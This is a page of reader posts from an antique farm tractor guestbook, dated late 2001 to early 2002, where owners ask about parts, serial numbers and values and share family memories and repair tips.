Lars G wrote on Sunday, February 03, 2002 (PST):In Sweden I have an old Olover from 1946, called Oliver 35. I know the Swedish agency, Sodesrberg&Haak, renamed the models and instead of using the American numbers, Soderberg&Haak changed it to how many horse-powers the tractors had. Just one thing, what was the American Model of this Swedish model Oliver 35? This model is not a stream-lined model, it has a four cylinder engine, wide front and 28" rear rims/wheels. I have heard different model types of this Oliver 35 here in the US, Oliver 99, Oliver 80 and also Oliver 35. Please help me to clear up my mind about my Oliver. Regards, Lars
Paul wrote on Saturday, February 02, 2002 (PST):I own a 1949 Farmall Cub that I plan to sell. The tractor is equipped with a snowplow blade, tire chains, a one-bottom plow, a disc attachment, a harrow, a sickle-bar mower, and a tote box. It runs, but needs a little work. Can anyone tell me how much it is worth?
Zach Martynski wrote on Saturday, February 02, 2002 (PST):I have a Case SC, i haven't found the serial # yet and I don't know the year. It is restored, but i'm having troubles with the engine. It seams to want to die and backfire. If you have any advice to help me and tell me where i could find a manuel please E-mail me. Thanks
Lavoy wrote on Friday, February 01, 2002 (PST):I have numerous parts for the 420C as well as rebushed tracks. Call 701-281-0398 oe E-mail
j.d. brewer wrote on Friday, February 01, 2002 (PST):i just got a tractor like that and could not find what kind it is
Randy Kirsch wrote on Thursday, January 31, 2002 (PST):My brother has a 22-36, that has been in the family scince my grandfather bought. It runs great, we plow with it and everything. Its a 1934, ready to paint it, but dont know exactly what colors go where, need picture if possible thank you. Randy
Don wrote on Thursday, January 31, 2002 (PST): I have inherited a family owned, wide frontend "C" Farmall. It is in the shop now having a three point hitch installed. I also need a set of fenders and a owners manual. It came with the two row culitvators and extra set of tires and rims. I am going to restore it back to the original look. I love playing with the tractor and all of my friends do to. I'm not sure of the year since I got it right after Christmas, 2001.
Tandy Barr wrote on Thursday, January 31, 2002 (PST):In regards to Ralph Lanni question about his LoBoy that idel ok but doesn't have any power. Ralph this reminds me of a problem I had years ago with a four cylinmder eng. that would do the same one day it got to where it would start very quickly every time and idel great but wouldn't do anything else just die if you even acted like you were going to rev it up. After hours trying everything I could think of I replaced the condenser in the distributor with a new one, guess what everything was back to normal. TRY IT. And by the way I am a cub loboy owner as well with fingertip hydraulic control a 4 or 5ft. belly mower and doser blade for the front. I do know the mower is a WOODS built mower.
Jerry Nilles wrote on Thursday, January 31, 2002 (PST):I am in the process of restoring a 1949 case LA gas. I am looking for an exhaust manifold and elbow, a picture or other information on placement of the decals, and how many gallons of paint will it take to paint. Jerry
Norm Rozak wrote on Wednesday, January 30, 2002 (PST):When my father retired from farming in northern WI., he had an auction in 1999. He gave me his 1949 original 8n. We sold the saw rig, plow, disc, corn planter, haymower, and jack stands, all came with the tractor. Couldn't you just kick yourself in the shorts! Doesn't matter. It'll always be his tractor, cause he used it for over 50 years. Now I use it and it runs great. He thinks he paid $1300 for this stuff new. I've gotten some good deals in my life, one was my father,the other is his 8n ford. ;)
Matthew Thomas wrote on Tuesday, January 29, 2002 (PST):Does anybody know what an Allis Chalmers D15 Diesel is worth? The tractor is mechanically sound, good tranny, good breaks and tires. The paint is faded and the fenders are rusted at the battery box and tool box locations. The tractor runs perfect and is used daily on farm. Thanks.
The Super M wrote on Tuesday, January 29, 2002 (PST):TRY a farm tractor parts store, where are you located?
Pat Kies wrote on Tuesday, January 29, 2002 (PST):My granddad has a 70, 60, and a 50. The 70 and 60 both run and are excellent tractors to drive we pull a sickle bar behind the 60 and the 70 is an orginial w/ pony motor and is an awesome tractor. I live on a farm and JD's are the only things we own, we have 7 antique JD's
Ben Hogue wrote on Tuesday, January 29, 2002 (PST):I've got a '52 TO-30 (#99198) on my place outside of Austin. I love it. It runs pretty good, but I suddenly developed a problem with the lift not lifting. Actually, it lifts sometimes. Anyway, with the help of discussions here, I think I can probably figure it out. (How come so many folks ask about models and serial numbers when the information is right here?) I've also got a running 9N for sale...
Ralph Barnett wrote on Monday, January 28, 2002 (PST):I bought my 550 Oliver this summer and it does every thing and more than I hoped for. I don't know if the tac or hour meter has ever been changed but it showed 240 hours when I bought it and now I have 300 hours. I would like to find a seat spring (which is rubber) it has dry rotted.
Greg wrote on Monday, January 28, 2002 (PST):I have a friend restoring on a 15-30. The serial number is TG134462M 1) What year was this tractor made 2) What type of carburetor would be correct for this tractor? 3) What type of water pump is it supposed to Have. Thanks
Matt wrote on Sunday, January 27, 2002 (PST):I just bought a 9n tractor. I was told it was a "1942" Any info. on what to look for and how to find out what year it is would be greatly appreciated. Thanks, Matt
Evan Clowater wrote on Sunday, January 27, 2002 (PST):I've had my ac 160 for about four years.I'm the second owner. It is a 1971 160 with a 460 AC frontend loader, light material bucket&manure forks. I also got an AC tagalong bushmower with it.My tractor runs great.The 3point hitch is a little jumpy when overloaded.I use it for plowing snow and I grow strawberries.I love driving it more than my other tractors because it steers so easy and I can see good because of the height.I've replaced the starter,alternater,battery,hydralic pump,tierod ends and repacked the lift cylinders.I painted it last year.It only has 3500 hours on it.The gages all work,the tractor looks like new.I also have the service manual and parts manual for it.My brakes still work,but I would say they are one of the weak points of the tractor.I'd sell her for 10,000 Canadian.
Barry MacDougall wrote on Sunday, January 27, 2002 (PST):Restoring and looking for an ensigna for over the grille for a 1961 Fordson super major.
Erik Iverson wrote on Sunday, January 27, 2002 (PST):We had a 656 gas, 756 gas, 766, and a 1086. all of them were great tractors and rarely had any problems. before the 1086 we had a 986, and before that the big tractor was a 966. the 756 was bought to replace the old M tractor. Now they are all gone in the auction we had back in 98, but we still have the 656. Personally i always liked the 766, probably because I drove it alot for field work. the 1086 got the most work cutting hay with the 1190, baling, and using the 1000 gehl chopper. I never really liked the 1086 shifting, you always had to stop, even on the 986 too. hope to make some good money after college to run a hobby farm, and buy some of those tractors back!
greg kepler wrote on Sunday, January 27, 2002 (PST):Hi, My uncle has a Samson tractor which he has restored to running condition. I was going to find him some more information on the net. However, his does not have the tricycle front end. Am I on the right trail. I remember that he said something like "...they quit making these and started making Chevys..." so I think it's the same outfit.??
kevin gross wrote on Friday, January 25, 2002 (PST):about 10 yrs ago my grandfather found the exact 1954 case 500 he bought brand new .trailered it homeand rebuilt it from the ground up in the fall of last year we watched his 2 D's and his S along with 2 mcCormicks and a John AR go in auction when the farm was sold due 2 cancer. the 500 is all my family has left to remind us of 55 yrs of that farm sitting in my garage with this piece of raw iron is the origional sales flyer and shop manual im always looking 4 more Case memorabilia...if anyone has interesting memorabilia please e-mail mellgross10 at hotmail.com
diana wrote on Thursday, January 24, 2002 (PST):Please email me if interested in an ellis g tractor. good shape and kept in a garage
diana wrote on Thursday, January 24, 2002 (PST):Please email me if interested in an ellis g tractor. good shape and kept in a garage
Jim Cave wrote on Thursday, January 24, 2002 (PST):I have a neighbor who aquired a Fordson Major diesel. He is needing a block and crank shaft. (I think he's wasting his time) But he is insistant on restoring this machine. Can anyone give us a suggestion on where to find any parts.
Phil wrote on Wednesday, January 23, 2002 (PST):Looking for.......A cylinder head for a D-21. Any needles in the haystack??
Paul M. Field wrote on Wednesday, January 23, 2002 (PST):I own a cockshutt 30 and am trying to sell it , I need to know the best place to advertise,and also a way of finding the year. It runs great and has a front end loader on it. I live in Bancroft , Ontario
Bobby Perry wrote on Wednesday, January 23, 2002 (PST):My Dad is looking for any information on his B.F. Avery V model with all tools. Were not sure of the year and its worth. The tractor and tools are in very good shape. Thank you for any help.
Leo Dahlberg wrote on Tuesday, January 22, 2002 (PST):I'm rebuilding a model AG 6 Celtrac 1946 I believe. I'm confused as how the Oliver and the Celtrac are related.any knows let me know.Also I need a set of lovered panels,if any one knows of set let me know.Thanks.
Jake Benton wrote on Tuesday, January 22, 2002 (PST):My Father farmed for his whole life with AC equipment. His D-17 (1961 gas)was the best tractor we ever had. Very versatile and quite a workhorse. We did everything from powering the cotton picker to pulling an all crop harvester, and never had a minutes trouble. I would love to purchase one. Gas or diesel. If anyone knows of one for sale, please notify me. Thanks...
Keith wrote on Tuesday, January 22, 2002 (PST):Afriend of mine has an AC 160 and wants to know what year it is. Can anyone tell me where the serial plate is and what the breaks are for each year?
Matt from PA wrote on Tuesday, January 22, 2002 (PST):Now I'm just taking a stab at this one ( I'm more educated on the M's & H's ), but I think you could get at least $2,500.00 give or take. But that all depends on the condition attachments are and how bad the paint may be. If it's a prime piece of machinery I wouldn't hesitate to 3,000 or even 3,500. Your location also plays a HUGH part in your price, here in south central Pennsylvania the Cub's run for about 2,000 WITHOUT all the attachments your offering. Go for as much as you can get, Good Luck
Jack wrote on Monday, January 21, 2002 (PST):Id like to take a model B and strip her down,then slip the guts to a G under that tin and take her to a pull where there is a bunch of Oliver fans.
Fred Lachance wrote on Monday, January 21, 2002 (PST):I have a 1929 22-36 IH tractor in good working order. This tractor is on original steel wheels with extentions on front and rear. Excellent running condition, but needs paint for show.Stored inside for last 40 years. Offers.
Fred Lachance wrote on Monday, January 21, 2002 (PST):This tractor did not originally come with rubber tires. Does not have the right manifold, as the original came out the side. Also it shows no curtain for the radiator.
dave wrote on Monday, January 21, 2002 (PST):I own a G706 1963 mo. In good running cond. and would be interested in selling. neat old tractor call 608-625-2469
Alex wrote on Monday, January 21, 2002 (PST):I am also looking for an f-20 magneto if any one knows of one that i can get a hold of please contact me.
ron biron wrote on Monday, January 21, 2002 (PST):I have a super w4 and I would like some information or diagrams on the wiring system and the specs of the tractor. Any information would be appreciated, thank you very much.
terry wrote on Sunday, January 20, 2002 (PST):looking to purchase a L or LA or model 63 tractor.You can call 306-882-2413 home or 306-882 4291 work.
Don Eccles wrote on Sunday, January 20, 2002 (PST):How do you tell what year your Antique Case Tractor is? I heard it was in the serial number.
John Greeley wrote on Sunday, January 20, 2002 (PST):I recently restored a 1948 "vac" from top to bottom. Can anyone give me info on how to wire the head lites and tail lites? ( positive ground ) Thankyou ;)
dixie wrote on Saturday, January 19, 2002 (PST):I would like to know how much to ask for a 1949 Model B JD tractor. It is in working condition. Any reply would be appreciated. This tractor belongs to my dad and I would not like to see him sell it for too little. Thanks!
Gideon Yakubovitch wrote on Saturday, January 19, 2002 (PST):The hood of my Ferguson 35 is in a very bad shape, in fact there's not use to repair it, does anybody know if or where can I find a good one?
Bob McWhorter wrote on Saturday, January 19, 2002 (PST):I just acquired a Leader, serial no. 97, made in Auburn Ohio. I would like to trade photos or info.
Mike wrote on Saturday, January 19, 2002 (PST):I'm trying to determine the value of an OC3 and an OC4 with a loader. They both run and are located in the northeast.I'm looking for anyone who may be interested in purchasing them or helping me source a new home for them. I'm on the west coast and don't think it's feasible transporting them across the country.
Mike Meyer wrote on Saturday, January 19, 2002 (PST):My dad purchased a used GP on steel at a auction in 1947 for $150.00. It took him 3 full days to drive it home. We used it on our farm in Aitkin MN. We sold it to a lumber mill where it did belt work untill the engine failed. it was scrpped at that time. I have many good memories about this tractor and would like to buy one but good ones are out of my price range.
theresa wrote on Friday, January 18, 2002 (PST):I have a tractor that looks the same as this one but cant find the parts or engine kits for restoration. If anyone knows any information on this tractor can you please share info on it.
James L wrote on Friday, January 18, 2002 (PST):I am needing the following parts for a WD AC; gas tank support, fenders, steering rod, grille, and a radiator.
Rob Trowbridge wrote on Friday, January 18, 2002 (PST):I have a 72' 1066 for sale, it is set up for a good warm farm stock puller. With a little more work would be exc. hot or super farm tractor. It has stock 414 block with 466 slvs & pistons& crank , 11mm rotary pump , 3lm 466 spec.turbo. Its on 20.8x38 9 bolt Firestones also have cast centers on 20.8s . 3pt &hyd remotes are removed but go with tractor. New TA,clutch & paint sprig '01. Farm or pull nice tractor.
Otto Schroeder Jr wrote on Friday, January 18, 2002 (PST):I have a MM GVI diesel, it is the smoothest tractor Ive ever driven. We use it with a crosscut disc and grain drill and field cultivator. My only complaint is its large turning circle.We overhauled it once.
tsoukjr wrote on Friday, January 18, 2002 (PST):Very nice tractor my uncle has on just like it but we have duals for all four of the tires. It looks mean coming down the road with all of them on.
tsoukjr wrote on Friday, January 18, 2002 (PST):We have one on our farm and we use it alot for pulling tractors out of the mud and pulling logs for firewood in the winter
Matt from PA wrote on Friday, January 18, 2002 (PST):I was amazed to find out International had a line of diesel Farmall's built in the UK, ( I believe they were called Super BMD's ). Are there any in the U.S.? What's the price of one of these machines today in U.S money?
George Nelson wrote on Friday, January 18, 2002 (PST):Are wide front C's very rare? I owned a C for 6 years but traded her in on a H, which was later traded on a Super MTA( with an extra 1,000.00 to boot ). I'll give these Farmall's credit, there great ol' machines. I refuse to drive anything other.
Lee Heilman wrote on Friday, January 18, 2002 (PST):I have a 1923 Waterloo Boy model N. I purchased a tractor at an auction about 4 years ago. The tractor needs restored and is in good mechanical condition.I have all the necessary parts to restore the tractor but need the extra time to go along with it.This tractor is part of our Family collection , and is treasured at many local and far shows.
Chris Cass wrote on Friday, January 18, 2002 (PST):I am looking for a carburettor and side lights for a 1945/47 WC tractor. This was imported into Ireland through McGees of Ardee Co. Louth Ireland after the war. Any information on any parts welcome.
Chris Cass wrote on Friday, January 18, 2002 (PST):I am looking for a carburettor and side lights for a 1945/47 WC tractor. This was imported into Ireland through McGees of Ardee Co. Louth Ireland after the war. Any information on any parts welcome.
Eric wrote on Thursday, January 17, 2002 (PST):I have a pacer with a snow blade with original dealer decal. Darn thing starts in 10 below on the first try. I'm looking at redoing as cultivating tractor. Looking for cultivators and other impliments. Any advice would be welcome. Upstate NY
Larry Kuhn wrote on Thursday, January 17, 2002 (PST):I've got a 1945 Farmall B that was my grandfather's tractor. I am interested in selling it. It was restored completely about 5 years ago.
farbs wrote on Wednesday, January 16, 2002 (PST):We have 2 H's, one has the high compression pistons and the other one is original. We found the original one lacks some guts to do hard work. Is it worth to put a set of high compression pistons in it?
tim hinton wrote on Tuesday, January 15, 2002 (PST):i spent many hrs. on a g as a kid of 15 yrs. in 1973 it started on gas after it got warmed up you switch it to what we called stove oil.it had a lot more power on the oil.i have a model a now. i think the g was a bigger tractor.
James Gosselin wrote on Tuesday, January 15, 2002 (PST):My first tractor was a Cockshutt 30. I bought it from a retiring farmer that was looking to find it a good home. It was almost a year before I knew the actual year and model. That made finding parts interesting. Although not a mechanic, I got it running. I buzz around the property with it. Makes me want to own a farm.
ken wrote on Tuesday, January 15, 2002 (PST):I have a 1959 601 Workmaster row crop ofset tractor. New engine, clutch,plate, throw out bearing. Runs great .Do you think its worth $2,000. I was in the process of restoring it but moved. Dont have a need for it now. Thanks
Reuben Miller wrote on Monday, January 14, 2002 (PST):Most of the commentaries are from people who left only their names. No addresses or phone numbers. Would Phil Thompson please contact me at (780) 963-9730 Fax (780)963-6209 We are searching for the FUNK FORD 8N Conversion kit. Thanks
Leon wrote on Monday, January 14, 2002 (PST):Sorry 'bout that,didn't finish before posting my wants I am looking for an engine for a Mod.110 John Deere have looked all over Ar. Don't want to start a fuss but I didn't know there were other tractors besides JOHN DEERE !
S. A. Fender wrote on Monday, January 14, 2002 (PST): I have a 1953 John Deere D Serial #191550 which I bought in Northern Indiana, in the year 90 or 91. Which I restored, and put on New 16-9 30s tires. The tractor ran good so didn't have to do any thing to the engine. Recently I got dual stack kit to put on it, and had carb. rebuilt. I have several other tractors but the old D is one of my favorites. I would like to hear from anyone that might have a 53 D. Thank You
jason wrote on Monday, January 14, 2002 (PST):you are so right about the red power. anybody hear the McCormick name is coming back to kick deere ass.
Kyle Conrad wrote on Monday, January 14, 2002 (PST):How can you link computers to the evolution of farm tractors?
Dave Pembroke wrote on Sunday, January 13, 2002 (PST): Have Co-op#2 parts tractor--lots of parts (1937) also #3 Co-op fenders
Mike wrote on Saturday, January 12, 2002 (PST):Does anyone know how many Hi-Crop M tractors were built?
Bart French wrote on Saturday, January 12, 2002 (PST):Just got my Super Oliver 55 gas 2 months ago. Traded for some other equipment. It now sits in the garage. Wife whats to know why her car has to sit out side. I said, Its an oliver!!!!!. Looking for sheet metal parts, seat parts and other accessories that will help me restore this lady to her origional contition.
thom van brocklin wrote on Saturday, January 12, 2002 (PST):i have a co-op e-8 tractor that has been in the shed for a lot of years.there is no dings dents or bruses on it. does anyone have a idea what it is worth. i've had people stop and want to buy it, but i don't know what it is worth.
Bill Hobbs wrote on Saturday, January 12, 2002 (PST):I am Interested in purchasing a 1952 thru 1954 641 ford diesel tractor could anyone please advise me of what it might be worth and where I might find information about this tractor
Stephen LaBrake wrote on Saturday, January 12, 2002 (PST):My father has a AC D-17 series 4 with a quick coupler. Dad would like to obtain a 3 point cat.2 hitch and give the quick coupler in trade.
Frank Portmann wrote on Friday, January 11, 2002 (PST):Our friend had a '52 G with a loader. Our tractor was broke down so we borrowed his G but the battery was dead. He took an old leaf spring and placed it in the split in the fly wheel at the crank shaft turned on the switch and with one heave started it, he was a very big man. Then as it was running he said this is not recommended as the spring went through the roof once before.
Jimmy S. wrote on Friday, January 11, 2002 (PST):This is the first time I have ever seen a tractor like this. It looks like a beast. My grandfather has an H and I use it every day in the summer to mow. I think you did a great job with it, and I hope someday to restore ours for my grandfather
bill lewis wrote on Thursday, January 10, 2002 (PST):6 mounthsago i bought a fergie it was preet well cobbed the right side rear tire hub assem etc was off a ford 9n and has no tage on it to tel what year model etc ive called a few trac shops and discribed it they all say its a te20 becouse of the lucus ingnition but when i blew a water pump and ordered a new one it ws wrong when we ordered it from the casting number off the old water pump it still was wrong the water pump i need is triangle in casting shape and the bolt holes for the fan are kind of off set 2 really close 2 rather farther apart the person i bought the tractor from says the engine is a triumph but all the trac dealers says its gotta be a contanetal please help i love my little trac and would love to hear it purrring againe
Coke Royal wrote on Thursday, January 10, 2002 (PST):I am looking for my Dads' 1936 Unstyled WC Allis-Chalmers tractor. The Serial Number is AC 29799. My Dad bought this tractor 6 weeks before I was born and I later drove and worked this AC on our farm. I have the original paperwork when my Dad purchased the AC in 1937 in Sudan, TX. The last known whereabouts of this AC was in Clovis, New Mexico in 1958. PLEASE HELP me find this tractor. Thank-you, Coke Royal
Landon wrote on Wednesday, January 09, 2002 (PST):Hi i was in school earlier so couldnt say much I have a 1946 Leader Moddle D but it isn't all orriginal. It had orriginally a 20 hp herclies v4 in it but that was gone when i got it. Um the tractor was shortened for some reason i really don't know the guy before me did it. i didn't have the time to fool with it so i put in a Tecumsea 6 hp and it runns like a charm.(I was going to a show that weekend). It pulls my dads camper around in all gears, so for the size of the engine it does ok. I am almost 14. I got it because my mom previously passed away from Stomache Cancer, and i wanted a project to work on to take my mind off things. It does the trick. I live in alberta canada Around Edmonton, so if any 1 that reads this has parts or info or even wants to see it or has 1 of there own give me a e-mail please. And also I have always went to the Leduc West Antique society, but this year was my first. They hav a show usuallu on the July 28,29 every year and it is one of the best shows i have ever been to. if u hav an exhibit like any old thing you can park your RV on the site for the whole weekend for free if you don't i think its $30.00. well g2g so take care and please e-mail me soon. Landon
Chris Padilla wrote on Wednesday, January 09, 2002 (PST):We have 2 D17 Tractors, Gas and Diesel. I love the gas engine, prefer to use it over many of the other bigger tractors we have. The diesel has more power, but the gas is easier to operate and maintain.
Henry Hahn wrote on Wednesday, January 09, 2002 (PST):I have 20+Leader tractor 7restored 9 restorable the rest are parts tractora I am compiling a list of leader owners and organizing a Leader tractor club ,if you would more information about the club contact me Henry Hahn 7606 Hwy.J Perryville MO63775 1-573-547-8693 ,hehahn at one main.com
phil wrote on Wednesday, January 09, 2002 (PST):One owner D-15 purchased originally for Lumber Yard & Masonary Block Plant in 1963. Tractor is mostly original with only repair modifications. Has a front end loader and a rear fork lift/blade attachment. Would like any general info on market value of this tractor and any tips on locatin some numbers on it that might tell me exactly what model/year it is? Thanks for any assistance.
A. Jason Leedy wrote on Tuesday, January 08, 2002 (PST):My Dad had his '59 830 restored and it is awesome, just like any 830 is awesome. What is up with the exhaust stack? Is that an original style? I think it looks funny but I love the tractor! Cool front wheel weights too.
Stan Davidson wrote on Tuesday, January 08, 2002 (PST):Still have the 1963 series three my dad bought new. Just replace the orginal tires a few years back. Had it overhalled with a 170 kit back in the early 70's. Still use it on augers, spraying and mowing. Also have the loader my dad put on a year after he boughtit and the 13 foot disk. Have the swinging T hitch for the disk. Have a 1968 180 with 4000 hours on it. would rather run these two tractors than the jd4400.
Charles Milton wrote on Tuesday, January 08, 2002 (PST):My Father owned the General Tractor in the 1940's I remember it was a brownish orange in color. My father bought it new from Massey Harris dealer in Milton Ontario.
Al Tacoma wrote on Monday, January 07, 2002 (PST):I have a case VAO or so the emblems say. This thing has a hydrolic front bucket[dumps by hand]also Eagle hitch. I cant find the year. The tractor runs well but is not big enough for what I need. It has the wide front. Not restored but works well. Any ideas where I should advertise? 1000.00
Brendon White wrote on Thursday, November 22, 2001 (PST):I have a Massey-Harris Pacer No. 16. It is in good condition, and runs great. I need a set of rear fenders, hyd. pump, and PTO for the rear. Please e-mail me if you have any of these, and would like to sell.
Jennifer Ohnstad wrote on Tuesday, November 20, 2001 (PST):My dad owns two Cockshutt tractors--a Cockshutt 30 and a Cockshutt Golden Arrow. They are definitely his "babies". They are in great shape, and they both run great, too, as he is a retired diesel mechanic. He uses both of them on his farm in North Dakota. I believe he is planning to restore both of them at some point in his life, but for now, he is using them around the farm. They are not ready for retirement yet. They definitely get the job done, and he is very proud of them.
David wrote on Friday, November 16, 2001 (PST):Is the W6 the same as an AOS6 Australian Built tractor? and if so, are parts inter-changeable?
Billy Johnson wrote on Friday, November 16, 2001 (PST):I am looking for an entire clutch assembly for a 1964 550D Oliver Tractor. My tractor purrs like a kitten, but can't won't move a lick. Burned up clutch. Can anyone help ?
F. Duncan wrote on Thursday, November 15, 2001 (PST):I have a model 70 JD , diesel with pony starter engine . Wide front end , 3 point hitch . Runs good and sheet metal is all in place . Dad bought it 15-20 years ago from a friend . I wonder what kind of value it may have , best I can tell by the serial # it is a 1953 model . I work it 2-3 times a year and get along fine with it . I am considering selling it , or restoring it . Thanks FD
Ed Attwood wrote on Thursday, November 15, 2001 (PST):I have a Leader tractor Model #49D Serial #3165 I am planing to restore but need a few misc. parts. It runs and drives well but has a few non original parts. I need pictures, paint spec, one square hub rear wheel and throttle control. I also have heard that the rear end, brakes and wheels are the same used on a Combine does anyone know if this is true? Thanks
rich stout wrote on Tuesday, November 13, 2001 (PST):I found one in a barn and would like to buy it. What is a fair price for an F-12 complete but motor is stuck and nothing has been done to tractor since mid 50s.
curt allen wrote on Tuesday, November 13, 2001 (PST):I have two 1940 LA's. Both run good. $1200 each. I also have a LA rear half with tires,$500.
Randy Murphy wrote on Monday, November 12, 2001 (PST):I am considering restoring a JD 2010 that belongs to my mother-in-law. It is in need of an engine overhaul. Can anyone recommend a non OEM overhaul kit supplier? Also, I am not certain where the tractor serial number is located. The shop manual indicates the number is located on the rear of the transmission case, but I cannot find it. Any help would be greatly appreciated.
Matt M wrote on Monday, November 12, 2001 (PST):To Rick; How much do you want for the tractor? Is it wide front or narrow? Address more information please.
N/A wrote on Monday, November 12, 2001 (PST):Thanks Ed, Your help has helped me a lot in deciding whether or not to by this tractor.
The Super "M" wrote on Monday, November 12, 2001 (PST):To Brettjuckette; Painting your own tractor can be relatively inexpensive. If you know folks in the auto-body trade it can be just the cost of the paint and a little cash to the painter. I took my Farmall Super M into the local Vo-Tech school and all it cost me was the paint and a small tip to the students.(they did a good job on er') The paint is easy to come by, just get Farmall red or International Harvester red. Good Luck & Have Fun.
Ed Hamberg wrote on Monday, November 12, 2001 (PST):TO GARY H. the cub was the smallest tractor made by IH, with 8.89 drawbar horsepower, the "A" was slightly larger with 16.32 d.b. h.p. The super A replaced the A in 1947 and had more h.p., adjustable rear tred widthand other options. In the mid 50's dropped the "letter" series and began using numbers i.e. 130, 140, 230, 350, 450 etc. the 140 was introduced in 1958to replace the "A", there was also a 130 built from 56 to 58. Hope this helps!
Ed wrote on Sunday, November 11, 2001 (PST):Mark, the white farmall was a DEALER DEMONSTRATER, pretty rare and I don'know what years they did this but I know of a white "c" in Mo.---- Randy it sounds like your fuel line is plugged, check line, bowl, tank, etc.---- I got my "H" in 1981 in very good "restored" condition, I then built a 3 point hitch and began "farming" a few acres of pumpkins, I converted It to 12 volts and painted it again in in 1988 and took it to many shows, parades and pulls! I even pulled the Anheuser Bush Six-Pack sled! (no I didn't win) Some of the best times of my life were riding ol "HENRY"
Ed wrote on Sunday, November 11, 2001 (PST):I have a 1945 or 46 LA,the orig. manual came with it and at the bottom of the cover is printed "DIR. No. 207-10-45" . I am assuming the 10-45 is the date the manual was printed, any that year fits in with the history of the LA. It was my wifes grand fathersonly tractor and he got it used in the early 50's. I also am acquainted with the orig. owners family and know a person that worked for the orig. owner who used the LA A lot. It wes last used in 1979 and I would go to the farm to hunt ind pour oil down the stack to keep it from siezing hoping that some day it would be mine. Finally, after the roof colapsed on it I convinced the family that it needed a new home. I'm sorry to say that I haven't restored it yet but it is safe and sound now and the tractor shed is gone! I need a set of rear 24" rims and then I will start!!!! I promise!
Paul wrote on Sunday, November 11, 2001 (PST):My Dad has had a Farmall Super M for as long as I can remember (which is only 18 years). Even when our newer tractors break down, we can always count on the "old M" to go!
Rein Matiisen wrote on Sunday, November 11, 2001 (PST):Has anyone succesfully incorporated a live PTO system into a Farmall M? Would be a usefull little tractor if it had a live PTO . Also to N/a - with respect to a narrow front end, once you have tried to drive a M with a wide front end without power steering compared to a trike setup, you will see why the trike was popular for field work. For haying, which is what I use my M's for, the trike setup is useless as you are always trampling the swaths. Am looking for another wide front end myself and don't have any leads other than to buy an entire tractor. That doesn't work too well for me as I always end up fixing up the parts tractor and still needing the wide front end for the other one.
JOHN wrote on Sunday, November 11, 2001 (PST):I have a 1947 70. I have been pulling this tractor,now I am going to start restoring. I need a gasket set for my engine and any manuals I could get. The best I can tell this tractor has 6 forward and only 1 reverse,or thats all I can find. If anyone can help please call 270-242-0906 Kentucky.Thank you and your Oliver 70 looks great.
Bob Milner wrote on Saturday, November 10, 2001 (PST):For Lindsay Schlaud, I would like information on the manifold for an F-12, I also need a radiator if you know a place that sells them.
Chris harrod wrote on Saturday, November 10, 2001 (PST):I have a 19-- 4 cly 99, 19-- cockshutt 4 cly, 1953 6 cly 4 speed gas, and a 1953 6cly Diesel 4 seed tractors for sale call me at 502-833-343
brettjuckette wrote on Friday, November 09, 2001 (PST):I am 15 and bought a 1952 farmall super C it took me and my dad about a hour to get it runing, after that we did some things that i though we did not need to do, re-gap the valves chang the belts and so on, well now it starts like a charm and i thank him for that. the reason i am righting is when i bought the tractor it was missing the air filter cover (on the bottom)and was woundering whear to find one. i am woundering how much it would cost to get the tractor re-painted any help is thanks in Advances. thanks again.
N/A wrote on Friday, November 09, 2001 (PST):What exactly is "fast hitch" on a tractor?
Ellen wrote on Thursday, November 08, 2001 (PST):My mother is selling a 1950's tractor in good working condition. I has a frontloader,rear blade,and cab. Looking for its value as well a buyer.
Nancy Bradley wrote on Thursday, November 08, 2001 (PST):I have a customer at the public library where I work, he is looking for a wiring diagram for a 560 Farmall Diesel, made in early 1960's. If anyone would contact me to assist me in locating the wiring diagram I would appreciate it. Thanks. My fax and phone number is 417-345-2647. or by e-mail.
Matthew from Pennsylvania wrote on Thursday, November 08, 2001 (PST):Thank you very much Mr.Pfennig, I will consider purchasing this tractor at the price they are asking. Your advice helped.
Scott wrote on Wednesday, November 07, 2001 (PST):I have a 49 SC. It is a great tractor. I need a set of fenders and a belt pulley to make it complete. If anyone has these for sale let me know.
Jim Vandendries wrote on Wednesday, November 07, 2001 (PST):I have a John Deere 720 propane and John Deere 60 gas. The 720 needs some attention as I am dealing with now. I would like to possibly buy another one in time. I really enjoy it,as I do farm a little bit and use this tractor for most of my plowing and disking. It needs some powersteering work and I just had the starter rebuilt and put a taper lock flywheel on it.
Matthew from Pennsylvania wrote on Wednesday, November 07, 2001 (PST):There's a Farmall "C" in the local paper advertised for $900.00, condition is said to be old. We need a tractor for light farm work, and was wondering if 900.00 is a fair price for this tractor ( considering "old" condition )?
Lucas Baskim wrote on Wednesday, November 07, 2001 (PST):I currently own a high crop "A" and am currently placing it for sale. My new property has too many hills and slopes for the top heavy tractor. What is the current value for this machine, condition is very good.
N/a wrote on Wednesday, November 07, 2001 (PST):Why did so many tractors from this era have the narrow front end? How can I find a wide front for a Farmall tractor? Any help is appreciated.
Mark Cross wrote on Wednesday, November 07, 2001 (PST):I have owned a 541 gas model for 21 years. Great tractor. Needs paint and some cosmetic touch up. I would let it go if the $ were enough to get a decent replacement to drag around a 5' bush hog over 10 acres.
Bruce Ellis wrote on Tuesday, November 06, 2001 (PST):I am trying to find some parts for my ac 220. Such as lights, hitch parts, left fender, brake parts, hyd. cooler, and some other parts. Have not had much luck. Any help would be appreciated on new or used parts or a good web site for finding them.
Ken Beaver wrote on Tuesday, November 06, 2001 (PST):I just bought a J.D. M.T.34778 I would like any info i can get on this tractor it does have the wide front end.
Robert S. wrote on Monday, November 05, 2001 (PST):I have a 1945 SC that I bought at an auction a year ago. I gave about $100.00 for it as it was in bad shape. I am slowly working on it. I ordered manuels from Jensales. Their web site is; www.jensales.com Another good source of advice for me has been my local tractor club. I have been purchasing my flambeau Red paint from a local Tractor Supply Company store (TSC) and have found it to be the right color and of good quality. It comes in spray cans which are ideal for me as I am working at a slow pace.
Brent wrote on Monday, November 05, 2001 (PST):I own a Farmall 560 Diesel and it is the tractor that I have ever tractor pulled with and the sound of the engine is even better.
bill wrote on Sunday, November 04, 2001 (PST):the duals on the i6 version of this tractor had a habit of tearing out the splines and ruining the axles and the hubs. All the hubs and axle in a hundred miles of home were in the same shape when the machine had duals.
Darrel Harner wrote on Sunday, November 04, 2001 (PST):I think I have A Massey Harris Pony ? It also looks like a Pacer How do I tell the difference between the two. Also how do I fined out the year, the motor # is N6227595. Left rear axle # Canada 850095M8 . Right side of frame neer engine PGA 12 100 ? Please if any can help please Email me in Illinois thanks
